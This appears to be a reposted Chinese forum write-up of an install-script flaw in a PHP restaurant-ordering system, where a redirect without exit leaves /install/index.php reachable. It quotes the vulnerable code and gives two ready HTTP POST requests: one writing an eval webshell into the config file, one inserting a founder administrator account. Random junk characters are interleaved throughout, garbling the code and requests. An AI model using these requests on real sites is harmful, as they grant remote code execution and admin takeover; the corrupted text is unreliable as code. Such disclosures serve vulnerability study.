问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。$ }' B8 e# r! q' ~
) v$ f' L: ]4 t* F# x
<?php
$ s) k+ V( ~0 q8 Mif(file_exists("../install.lock")), O. j. J7 J, |# S& \! [! |
{8 n* W0 T9 ]3 g
header("Location: ../");//没有退出) b4 g( g, ]8 ]+ q7 g2 S
}0 ?% s+ I3 `0 u
# @& K8 t6 |$ V# ?6 a
//echo 'tst';exit;3 @+ i2 J+ M: S
require_once("init.php");
4 j7 [# _' o6 u+ i# [0 R, qif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
0 g% u4 U) U8 G0 A{, }: ?& \8 ?* `' I3 w
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
+ y/ E. C+ x2 V5 [8 i, d
, z3 ^5 L1 H% Q% D# Y8 s1、getshell(很危险)
0 w" u6 K* `: W1 B6 Q9 \if(empty($_REQUEST['step']) || $_REQUEST['step']==1)1 { z& I2 A( `0 @# m# A) q" J
{
/ A1 z+ v, a X" J0 a4 d$smarty->assign("step",1);; W3 `; f) A! z7 L% Y
$smarty->display("index.html");
1 S" A" [ v M) D$ P* k0 V; Y4 j}elseif($_REQUEST['step']==2)
3 V1 Q( Z1 w9 O+ T: X& ~{
- r, Y# P- x9 [9 p) } $mysql_host=trim($_POST['mysql_host']);
6 u k# O2 @ U0 m/ r! A2 o3 C2 S; m $mysql_user=trim($_POST['mysql_user']);- p& C: q" B- O( F
$mysql_pwd=trim($_POST['mysql_pwd']);
5 t k. Z9 j8 f: t- N4 h $mysql_db=trim($_POST['mysql_db']);4 S8 C- R0 A6 z
$tblpre=trim($_POST['tblpre']);
# G$ w1 a4 N) @# ` $domain==trim($_POST['domain']);
) r3 R" t- V0 L2 o+ i' X $str="<?php \r\n";
( n o6 l# a* M' N+ n4 c+ }! L# t $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";9 T- Y$ ~4 r0 W5 @7 G& F
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";" V3 Q& z6 V5 F7 r; F5 H. t% ~
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
0 H, T: l$ m) t4 W# B8 g% O $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";% n3 P, N5 F. ^+ Q% x
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";" o3 F' l+ S5 u
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
/ y' g" z9 s6 b2 V+ y+ n. U $str.='define("DOMAIN","'.$domain.'");'."\r\n";0 ^6 [9 @! [. |% G j8 f7 T
$str.='define("SKINS","default");'."\r\n";
3 n' u# Z3 m( ~' a, z $str.='?>';! g$ w' K" A2 y
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件3 b7 ~# ^' ], Z9 ~# ~' h4 F
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马+ i0 \5 q7 T. s, a
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
- L$ a8 m* X0 n4 nHost: 192.168.80.129
' K' u- N% z1 R/ KUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
6 o9 @2 _% Z" y; p; oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.81 y( a- h# m, M& I# y5 c
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3' Z5 o# I) l% H, {/ z
Accept-Encoding: gzip, deflate- x3 N, ?* x( ^: P9 y
Referer: http://192.168.80.129/canting/install/index.php?step=1
2 c, [) i" {0 \7 @& ~* P2 ZCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc427 M1 p& l% m3 e- [/ [2 ~2 U
Content-Type: application/x-www-form-urlencoded( c) r% `, c5 `5 ]
Content-Length: 1268 L! q7 g h; M s
+ Y" ]) W& w5 ~0 W7 v5 `1 Zmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD7 `% x$ G1 R4 O) f
但是这个方法很危险,将导致网站无法运行。
1 p, z8 ?9 t8 S* _& k/ ], e$ D+ ?* I; U; F$ |: h: D/ H5 `
2、直接添加管理员& _! V. l5 [8 a8 w& x
! y- y' ]) j7 ]0 v2 L) oelseif($_REQUEST['step']==5)
( S* A Y1 ]! u{
6 I* t% O* x$ W4 V if($_POST)/ b5 B% K1 e* X6 r# N4 ?1 B
{ require_once("../config/config.inc.php");
( G6 i, s; n, |0 m2 X4 F $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);2 J0 g. Z3 l. E+ X; i
mysql_select_db(MYSQL_DB,$link);- f5 m( X2 U) H
mysql_query("SET NAMES ".MYSQL_CHARSET );7 t, _' v, L5 S& H
mysql_query("SET sql_mode=''");8 Y5 f6 B6 \$ l4 i; Q* b, s8 x/ E
! V j" h3 E6 G
$adminname=trim($_POST['adminname']);
* ?) y4 z! i' G# l2 q- [ $pwd1=trim($_POST['pwd1']);
# j7 j. `9 {, C( u( H' t! V; \& u $pwd2=trim($_POST['pwd2']);
8 c9 {( U* `. Y7 A if(empty($adminname))
* H; T0 R6 O+ b0 j J4 f+ A {; m/ F: G* G( e5 u- C( Z
1 d) R; y! j2 r0 L1 U2 o echo "<script>alert('管理员不能为空');history.go(-1);</script>";
* Y% @% x# [' L- R, u9 F& Q% Z- f5 ~ exit();7 e3 I9 Q7 m! X1 w& N
}
; k! E. c/ l" U' [- T6 \ if(($pwd1!=$pwd2) or empty($pwd1))8 ^$ K; b" G6 t$ c* x# J) O
{
/ E6 |7 i0 k$ D, g! x5 r+ o echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出( P3 x7 K/ \& o: p
}1 o0 O% E9 j% I( |
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
. ^ g9 @+ ?! L% s }
+ B- K# Z& H+ _这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:3 @5 y& U" q- t! F% U3 w1 |
POST /canting/install/index.php?m=index&step=5 HTTP/1.1' K5 U9 a0 ^+ q7 n+ v' ^
Host: 192.168.80.129# O! `4 K$ C( w1 Y0 y9 ?( s
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.00 o- g/ R3 R4 x( [7 j, c
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8) ~8 F& v {8 R% A# `6 T; B
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
9 @/ A% e1 _4 \" k9 EAccept-Encoding: gzip, deflate
( [ {# F/ j) g; c& K0 F0 dReferer: http://www.2cto.com /canting/install/index.php?step=1' l! M; A( m" D9 @! L
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42( I* z; E! r4 c' l1 v! t
Content-Type: application/x-www-form-urlencoded, ^8 _. w8 W$ D! c) P* m6 T" I
Content-Length: 469 e; N. T9 t# E3 E3 h1 f# F: ]
' {- @2 C) H$ `: Qadminname=qingshen&pwd1=qingshen&pwd2=qingshen
+ L) R- Q% u% d) {) [# ?# u* O |